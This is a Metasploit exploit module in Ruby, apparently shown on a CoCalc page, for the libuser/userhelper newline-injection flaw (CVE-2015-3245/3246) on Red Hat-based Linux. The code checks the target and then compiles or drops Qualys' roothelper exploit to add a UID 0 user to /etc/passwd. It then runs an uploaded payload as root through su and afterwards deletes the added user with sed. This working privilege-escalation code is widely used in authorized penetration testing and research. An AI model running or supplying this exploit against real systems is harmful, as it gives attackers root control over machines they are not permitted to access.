CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = GreatRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Linux::Priv
11
  include Msf::Post::Linux::System
12
  include Msf::Exploit::EXE
13
  include Msf::Exploit::FileDropper
14
  prepend Msf::Exploit::Remote::AutoCheck
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'Libuser roothelper Privilege Escalation',
21
        'Description' => %q{
22
          This module attempts to gain root privileges on Red Hat based Linux
23
          systems, including RHEL, Fedora and CentOS, by exploiting a newline
24
          injection vulnerability in libuser and userhelper versions prior to
25
          0.56.13-8 and version 0.60 before 0.60-7.
26

27
          This module makes use of the roothelper.c exploit from Qualys to
28
          insert a new user with UID=0 in /etc/passwd.
29

30
          Note, the password for the current user is required by userhelper.
31

32
          Note, on some systems, such as Fedora 11, the user entry for the
33
          current user in /etc/passwd will become corrupted and exploitation
34
          will fail.
35

36
          This module has been tested successfully on libuser packaged versions
37
          0.56.13-4.el6 on CentOS 6.0 (x86_64);
38
          0.56.13-5.el6 on CentOS 6.5 (x86_64);
39
          0.60-5.el7 on CentOS 7.1-1503 (x86_64);
40
          0.56.16-1.fc13 on Fedora 13 (i686);
41
          0.59-1.fc19 on Fedora Desktop 19 (x86_64);
42
          0.60-3.fc20 on Fedora Desktop 20 (x86_64);
43
          0.60-6.fc21 on Fedora Desktop 21 (x86_64);
44
          0.60-6.fc22 on Fedora Desktop 22 (x86_64);
45
          0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
46
          0.60-5.el7 on Red Hat 7.0 (x86_64).
47

48
          RHEL 5 is vulnerable, however the installed version of glibc (2.5)
49
          is missing various functions required by roothelper.c.
50
        },
51
        'License' => MSF_LICENSE,
52
        'Author' => [
53
          'Qualys', # Discovery and C exploit
54
          'bcoles' # Metasploit
55
        ],
56
        'DisclosureDate' => '2015-07-24',
57
        'Platform' => [ 'linux' ],
58
        'Arch' => [ ARCH_X86, ARCH_X64 ],
59
        'SessionTypes' => [ 'shell', 'meterpreter' ],
60
        'Targets' => [[ 'Auto', {} ]],
61
        'Privileged' => true,
62
        'References' => [
63
          [ 'EDB', '37706' ],
64
          [ 'CVE', '2015-3245' ],
65
          [ 'CVE', '2015-3246' ],
66
          [ 'BID', '76021' ],
67
          [ 'BID', '76022' ],
68
          [ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],
69
          [ 'URL', 'https://access.redhat.com/articles/1537873' ]
70
        ],
71
        'DefaultTarget' => 0,
72
        'Compat' => {
73
          'Meterpreter' => {
74
            'Commands' => %w[
75
              stdapi_sys_process_execute
76
            ]
77
          }
78
        },
79
        'Notes' => {
80
          'AKA' => ['roothelper.c'],
81
          'Stability' => [SERVICE_RESOURCE_LOSS],
82
          'Reliability' => [REPEATABLE_SESSION],
83
          'SideEffects' => [ARTIFACTS_ON_DISK]
84
        }
85
      )
86
    )
87
    register_options [
88
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
89
      OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
90
    ]
91
    register_advanced_options [
92
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
93
    ]
94
  end
95

96
  def base_dir
97
    datastore['WritableDir'].to_s
98
  end
99

100
  def password
101
    datastore['PASSWORD'].to_s
102
  end
103

104
  def upload(path, data)
105
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
106
    rm_f path
107
    write_file path, data
108
    register_file_for_cleanup path
109
  end
110

111
  def upload_and_chmodx(path, data)
112
    upload path, data
113
    cmd_exec "chmod +x '#{path}'"
114
  end
115

116
  def live_compile?
117
    compile = false
118

119
    if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
120
      if has_gcc?
121
        vprint_good 'gcc is installed'
122
        compile = true
123
      else
124
        unless datastore['COMPILE'].eql? 'Auto'
125
          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
126
        end
127
      end
128
    end
129

130
    compile
131
  end
132

133
  def check
134
    userhelper_path = '/usr/sbin/userhelper'
135
    return CheckCode::Safe("#{userhelper_path} file not found") unless file? userhelper_path
136
    return CheckCode::Safe("#{userhelper_path} is not setuid") unless setuid? userhelper_path
137

138
    vprint_good "#{userhelper_path} is setuid"
139

140
    unless command_exists? 'script'
141
      vprint_error 'script is not installed. Exploitation will fail.'
142
      return CheckCode::Safe
143
    end
144
    vprint_good 'script is installed'
145

146
    if immutable?('/etc/passwd')
147
      vprint_error 'File /etc/passwd is immutable'
148
      return CheckCode::Safe
149
    end
150
    vprint_good 'File /etc/passwd is not immutable'
151

152
    glibc_banner = cmd_exec 'ldd --version'
153
    glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
154
    if glibc_version.to_s.eql? ''
155
      vprint_error 'Could not determine the GNU C library version'
156
      return CheckCode::Detected
157
    end
158

159
    # roothelper.c requires functions only available since glibc 2.6+
160
    if glibc_version < Rex::Version.new('2.6')
161
      vprint_error "GNU C Library version #{glibc_version} is not supported"
162
      return CheckCode::Safe
163
    end
164
    vprint_good "GNU C Library version #{glibc_version} is supported"
165

166
    CheckCode::Detected
167
  end
168

169
  def exploit
170
    if !datastore['ForceExploit'] && is_root?
171
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
172
    end
173

174
    unless writable? base_dir
175
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
176
    end
177

178
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
179
    executable_path = "#{base_dir}/#{executable_name}"
180

181
    if live_compile?
182
      vprint_status 'Live compiling exploit on system...'
183

184
      # Upload Qualys' roothelper.c exploit:
185
      # - https://www.exploit-db.com/exploits/37706/
186
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
187
      fd = ::File.open path, 'rb'
188
      c_code = fd.read fd.stat.size
189
      fd.close
190
      upload "#{executable_path}.c", c_code
191
      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
192

193
      unless output.blank?
194
        print_error output
195
        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
196
      end
197

198
      cmd_exec "chmod +x #{executable_path}"
199
      register_file_for_cleanup executable_path
200
    else
201
      vprint_status 'Dropping pre-compiled exploit on system...'
202

203
      # Cross-compiled with:
204
      # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
205
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
206
      fd = ::File.open path, 'rb'
207
      executable_data = fd.read fd.stat.size
208
      fd.close
209
      upload_and_chmodx executable_path, executable_data
210
    end
211

212
    # Run roothelper
213
    timeout = 180
214
    print_status "Launching roothelper exploit (Timeout: #{timeout})..."
215
    output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
216
    output.each_line { |line| vprint_status line.chomp }
217

218
    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
219
      register_file_for_cleanup ::Regexp.last_match(1)
220
    end
221

222
    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
223
      fail_with Failure::NoAccess, 'Incorrect password'
224
    end
225

226
    @username = nil
227

228
    if output =~ /Exploit successful, run "su ([a-z])" to become root/
229
      @username = ::Regexp.last_match(1)
230
    end
231

232
    if @username.blank?
233
      fail_with Failure::Unknown, 'Something went wrong'
234
    end
235

236
    print_good "Success! User '#{@username}' added to /etc/passwd"
237

238
    # Upload payload executable
239
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
240
    upload_and_chmodx payload_path, generate_payload_exe
241

242
    # Execute payload executable
243
    vprint_status 'Executing payload...'
244
    cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
245
    register_file_for_cleanup 'typescript'
246
  end
247

248
  #
249
  # Remove new user from /etc/passwd
250
  #
251
  def on_new_session(session)
252
    new_user_removed = false
253

254
    if session.type.to_s.eql? 'meterpreter'
255
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
256

257
      # Remove new user
258
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""
259

260
      # Wait for clean up
261
      Rex.sleep 5
262

263
      # Check for new user in /etc/passwd
264
      passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
265
      unless passwd_contents =~ /^#{@username}:/
266
        new_user_removed = true
267
      end
268
    elsif session.type.to_s.eql? 'shell'
269
      # Remove new user
270
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"
271

272
      # Check for new user in /etc/passwd
273
      passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
274
      unless passwd_user =~ /^#{@username}:/
275
        new_user_removed = true
276
      end
277
    end
278

279
    unless new_user_removed
280
      print_warning "Could not remove user '#{@username}' from /etc/passwd"
281
    end
282
  rescue StandardError => e
283
    print_error "Error during cleanup: #{e.message}"
284
  ensure
285
    super
286
  end
287
end
288

289